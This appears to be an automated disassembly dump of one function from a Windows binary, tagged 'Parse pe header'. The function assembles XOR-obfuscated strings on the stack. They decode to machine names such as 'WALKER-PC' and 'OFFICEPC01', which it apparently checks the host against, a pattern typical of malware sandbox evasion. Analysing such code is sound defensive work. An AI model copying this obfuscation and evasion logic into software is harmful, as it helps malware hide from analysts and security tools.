Function at 0x140022690
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
call fcn.14001f6b0
call fcn.140020550
call fcn.140023750
call fcn.1400231f0
call fcn.140024170
call fcn.140024140
add rsp, 0x28
jmp 0x140022690
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x1400d6a80]
xor rax, rsp
mov qword [rbp + 0x148], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rax
mov byte [rsp + 0x20], 0x78
mov al, 0x2f
mov cl, 0x39
mov dl, 0x34
mov r8b, 0x33
mov r9b, 0x3d
mov r10b, 0x2a
mov r11b, 0x55
mov bl, 0x28
mov dil, 0x3b
xor esi, esi
xor al, 0x78
mov byte [rsp + 0x21], al
xor cl, 0x78
mov byte [rsp + 0x22], cl
xor dl, 0x78
mov byte [rsp + 0x23], dl
xor r8b, 0x78
mov byte [rsp + 0x24], r8b
xor r9b, 0x78
mov byte [rsp + 0x25], r9b
xor r10b, 0x78
mov byte [rsp + 0x26], r10b
xor r11b, 0x78
mov byte [rsp + 0x27], r11b
xor bl, 0x78
mov byte [rsp + 0x28], bl
xor dil, 0x78
mov byte [rsp + 0x29], dil
mov byte [rsp + 0x2a], sil
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x21]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rax + r8], sil
jne 0x140022763
lea rdx, [rsp + 0x21]
lea rcx, [rsp + 0x50]
call fcn.140001740
nop
mov byte [rsp + 0x20], 0x20
mov al, 0x6f
mov cl, 0x66
movzx edx, cl
mov r8b, 0x69
mov r9b, 0x63
mov r10b, 0x65
mov r11b, 0x70
movzx ebx, r9b
mov dil, 0x10
mov sil, 0x11
xor r14d, r14d
xor al, 0x20
mov byte [rsp + 0x21], al
xor cl, 0x20
mov byte [rsp + 0x22], cl
xor dl, 0x20
mov byte [rsp + 0x23], dl
xor r8b, 0x20
mov byte [rsp + 0x24], r8b
xor r9b, 0x20
mov byte [rsp + 0x25], r9b
xor r10b, 0x20
mov byte [rsp + 0x26], r10b
xor r11b, 0x20
mov byte [rsp + 0x27], r11b
xor bl, 0x20
mov byte [rsp + 0x28], bl
xor dil, 0x20
mov byte [rsp + 0x29], dil
xor sil, 0x20
mov byte [rsp + 0x2a], sil
mov byte [rsp + 0x2b], r14b
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x80], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x140022810
lea rdx, [rsp + 0x21]
lea rcx, [rsp + 0x70]
call fcn.140001740
nop
movdqa xmm1, xmmword [0x1400b4460]
movdqu xmmword [rsp + 0x20], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
mov byte [rsp + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x60], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400228a2
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x70]
call fcn.140001740
nop
mov byte [rsp + 0x20], 0x13
mov al, 0x5d
mov cl, 0x5c
mov dl, 0x41
mov r8b, 0x47
mov r9b, 0x5b
mov r10b, 0x55
mov r11b, 0x5a
mov bl, 0x56
mov dil, 0x5f
mov sil, 0x57
xor r14d, r14d
xor al, 0x13
mov byte [rsp + 0x21], al
xor cl, 0x13
mov byte [rsp + 0x22], cl
xor dl, 0x13
mov byte [rsp + 0x23], dl
xor r8b, 0x13
mov byte [rsp + 0x24], r8b
xor r9b, 0x13
mov byte [rsp + 0x25], r9b
xor r10b, 0x13
mov byte [rsp + 0x26], r10b
xor r11b, 0x13
mov byte [rsp + 0x27], r11b
xor bl, 0x13
mov byte [rsp + 0x28], bl
xor dil, 0x13
mov byte [rsp + 0x29], dil
xor sil, 0x13
mov byte [rsp + 0x2a], sil
mov byte [rsp + 0x2b], r14b
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x40], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x140022950
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x50]
call fcn.140001740
nop
mov byte [rsp + 0x20], 5
mov al, 0x5d
mov cl, 0x46
mov dl, 0x33
mov r8b, 0x31
mov r9b, 0x5f
mov r10b, 0x47
xor r11d, r11d
xor al, 5
mov byte [rsp + 0x21], al
xor cl, 5
mov byte [rsp + 0x22], cl
xor dl, 5
mov byte [rsp + 0x23], dl
xor r8b, 5
mov byte [rsp + 0x24], r8b
xor r9b, 5
mov byte [rsp + 0x25], r9b
xor r10b, 5
mov byte [rsp + 0x26], r10b
mov byte [rsp + 0x27], r11b
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x20], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r11b
jne 0x1400229d0
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x30]
call fcn.140001740
nop
mov byte [rsp + 0x20], 0x48
mov al, 2
mov cl, 0x27
mov dl, 0x20
mov r8b, 0x26
mov r9b, 0x65
mov r10b, 0x18
mov r11b, 0xb
xor ebx, ebx
xor al, 0x48
mov byte [rsp + 0x21], al
xor cl, 0x48
mov byte [rsp + 0x22], cl
xor dl, 0x48
mov byte [rsp + 0x23], dl
xor r8b, 0x48
mov byte [rsp + 0x24], r8b
xor r9b, 0x48
mov byte [rsp + 0x25], r9b
xor r10b, 0x48
mov byte [rsp + 0x26], r10b
xor r11b, 0x48
mov byte [rsp + 0x27], r11b
mov byte [rsp + 0x28], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
inc r8
cmp byte [rax + r8], bl
jne 0x140022a54
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x10]
call fcn.140001740
nop
mov byte [rsp + 0x20], 8
mov al, 0x4f
mov cl, 0x49
mov dl, 0x45
mov r8b, 0x41
mov r9b, 0x46
movzx r10d, al
mov r11b, 0x25
mov bl, 0x4a
mov dil, 0x4d
movzx esi, cl
mov r14b, 0x5b
mov r15b, 0x5c
xor r13d, r13d
xor al, 8
mov byte [rsp + 0x21], al
xor cl, 8
mov byte [rsp + 0x22], cl
xor dl, 8
mov byte [rsp + 0x23], dl
xor r8b, 8
mov byte [rsp + 0x24], r8b
xor r9b, 8
mov byte [rsp + 0x25], r9b
xor r10b, 8
mov byte [rsp + 0x26], r10b
xor r11b, 8
mov byte [rsp + 0x27], r11b
xor bl, 8
mov byte [rsp + 0x28], bl
xor dil, 8
mov byte [rsp + 0x29], dil
xor sil, 8
mov byte [rsp + 0x2a], sil
xor r14b, 8
mov byte [rsp + 0x2b], r14b
xor r15b, 8
mov byte [rsp + 0x2c], r15b
mov byte [rsp + 0x2d], r13b
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x20], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
inc r8
cmp byte [rax + r8], r13b
jne 0x140022b14
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x10]
call fcn.140001740
nop
movdqa xmm1, xmmword [0x1400b4360]
movdqu xmmword [rsp + 0x20], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
mov byte [rsp + 0x2f], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x40], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140022ba1
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x30]
call fcn.140001740
nop
mov byte [rsp + 0x20], 0x24
mov al, 0x6c
mov cl, 0x6b
mov dl, 0x69
mov r8b, 0x61
mov r9b, 9
mov r10b, 0x77
movzx r11d, r8b
mov bl, 0x76
mov dil, 0x72
movzx esi, r8b
movzx r14d, bl
xor r15d, r15d
xor al, 0x24
mov byte [rsp + 0x21], al
xor cl, 0x24
mov byte [rsp + 0x22], cl
xor dl, 0x24
mov byte [rsp + 0x23], dl
xor r8b, 0x24
mov byte [rsp + 0x24], r8b
xor r9b, 0x24
mov byte [rsp + 0x25], r9b
xor r10b, 0x24
mov byte [rsp + 0x26], r10b
xor r11b, 0x24
mov byte [rsp + 0x27], r11b
xor bl, 0x24
mov byte [rsp + 0x28], bl
xor dil, 0x24
mov byte [rsp + 0x29], dil
xor sil, 0x24
mov byte [rsp + 0x2a], sil
xor r14b, 0x24
mov byte [rsp + 0x2b], r14b
mov byte [rsp + 0x2c], r15b
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x60], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140022c60
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x50]
call fcn.140001740
nop
mov byte [rsp + 0x20], 0x7d
mov al, 0x31
mov cl, 0x3c
mov dl, 0x2d
mov r8b, 0x29
mov r9b, 0x32
movzx r10d, dl
mov r11b, 0x50
mov bl, 0x4d
movzx edi, bl
mov sil, 0x4a
xor r14d, r14d
xor al, 0x7d
mov byte [rsp + 0x21], al
xor cl, 0x7d
mov byte [rsp + 0x22], cl
xor dl, 0x7d
mov byte [rsp + 0x23], dl
xor r8b, 0x7d
mov byte [rsp + 0x24], r8b
xor r9b, 0x7d
mov byte [rsp + 0x25], r9b
xor r10b, 0x7d
mov byte [rsp + 0x26], r10b
xor r11b, 0x7d
mov byte [rsp + 0x27], r11b
xor bl, 0x7d
mov byte [rsp + 0x28], bl
xor dil, 0x7d
mov byte [rsp + 0x29], dil
xor sil, 0x7d
mov byte [rsp + 0x2a], sil
mov byte [rsp + 0x2b], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x80], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x140022d10
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x70]
call fcn.140001740
nop
movdqa xmm1, xmmword [0x1400b4450]
movdqu xmmword [rsp + 0x20], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
mov byte [rsp + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xa0], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140022db0
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x90]
call fcn.140001740
nop
mov byte [rsp + 0x20], 0x3f
mov al, 0x6b
mov cl, 0x7a
mov dl, 0x6c
movzx r8d, al
mov r9b, 0x12
mov r10b, 0xf
mov r11b, 0xe
xor ebx, ebx
xor al, 0x3f
mov byte [rsp + 0x21], al
xor cl, 0x3f
mov byte [rsp + 0x22], cl
xor dl, 0x3f
mov byte [rsp + 0x23], dl
xor r8b, 0x3f
mov byte [rsp + 0x24], r8b
xor r9b, 0x3f
mov byte [rsp + 0x25], r9b
xor r10b, 0x3f
mov byte [rsp + 0x26], r10b
xor r11b, 0x3f
mov byte [rsp + 0x27], r11b
mov byte [rsp + 0x28], bl
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
nop
inc r8
cmp byte [rax + r8], bl
jne 0x140022e40
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0xb0]
call fcn.140001740
nop
mov byte [rsp + 0x20], 0x1c
mov al, 0x51
mov cl, 0x59
mov dl, 0x58
mov r8b, 0x55
mov r9b, 0x5d
mov r10b, 0x31
mov r11b, 0x5f
movzx ebx, cl
mov dil, 0x52
mov sil, 0x48
movzx r14d, cl
mov r15b, 0x4e
xor r13d, r13d
xor al, 0x1c
mov byte [rsp + 0x21], al
xor cl, 0x1c
mov byte [rsp + 0x22], cl
xor dl, 0x1c
mov byte [rsp + 0x23], dl
xor r8b, 0x1c
mov byte [rsp + 0x24], r8b
xor r9b, 0x1c
mov byte [rsp + 0x25], r9b
xor r10b, 0x1c
mov byte [rsp + 0x26], r10b
xor r11b, 0x1c
mov byte [rsp + 0x27], r11b
xor bl, 0x1c
mov byte [rsp + 0x28], bl
xor dil, 0x1c
mov byte [rsp + 0x29], dil
xor sil, 0x1c
mov byte [rsp + 0x2a], sil
xor r14b, 0x1c
mov byte [rsp + 0x2b], r14b
xor r15b, 0x1c
mov byte [rsp + 0x2c], r15b
mov byte [rsp + 0x2d], r13b
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140022f10
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0xd0]
call fcn.140001740
nop
movdqa xmm1, xmmword [0x1400b43f0]
movdqu xmmword [rsp + 0x20], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
mov byte [rsp + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x100], xmm1
lea rax, [rsp + 0x21]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140022fb0
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0xf0]
call fcn.140001740
nop
mov byte [rsp + 0x20], 3
mov al, 0x42
mov cl, 0x47
mov dl, 0x4e
mov r8b, 0x4a
mov r9b, 0x4d
mov r10b, 0x2e
mov r11b, 0x53
mov bl, 0x40
xor edi, edi
xor al, 3
mov byte [rsp + 0x21], al
xor cl, 3
mov byte [rsp + 0x22], cl
xor dl, 3
mov byte [rsp + 0x23], dl
xor r8b, 3
mov byte [rsp + 0x24], r8b
xor r9b, 3
mov byte [rsp + 0x25], r9b
xor r10b, 3
mov byte [rsp + 0x26], r10b
xor r11b, 3
mov byte [rsp + 0x27], r11b
xor bl, 3
mov byte [rsp + 0x28], bl
mov byte [rsp + 0x29], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x120], xmm1
lea rax, [rsp + 0x21]
inc r12
cmp byte [rax + r12], dil
jne 0x140023045
mov r8, r12
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x110]
call fcn.140001740
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x130]
call fcn.14001ce40
nop
lea r9, [fcn.140003100]
mov edx, 0x20
lea r8d, [rdx - 0x11]
lea rcx, [rsp + 0x50]
call fcn.1400786ec
mov rbx, qword [rbp + 0x130]
mov r14, qword [rbp + 0x138]
cmp rbx, r14
je 0x14002315a
lea rdx, [rsp + 0x20]
lea rcx, [0x1400d87a0]
call fcn.1400709c0
mov rdi, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400230df
mov rdi, qword [rax]
mov rsi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400230ec
mov rsi, qword [rbx]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140023129
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023124
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400231dc
call fcn.14007858c
cmp rdi, rsi
jne 0x14002313f
mov edx, 1
lea rcx, [0x1400d88a0]
call fcn.140072b20
add rbx, 0x20
cmp rbx, r14
jne 0x1400230c1
mov r14, qword [rbp + 0x138]
mov rbx, qword [rbp + 0x130]
test rbx, rbx
je 0x1400231ac
lea r8, [rbp + 0x130]
mov rdx, r14
mov rcx, rbx
call fcn.140012020
mov rdx, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x130]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400231a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400231e2
call fcn.14007858c
mov rcx, qword [rbp + 0x148]
xor rcx, rsp
call fcn.1400786a0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14007f7cc
nop
call fcn.14007f7cc
int3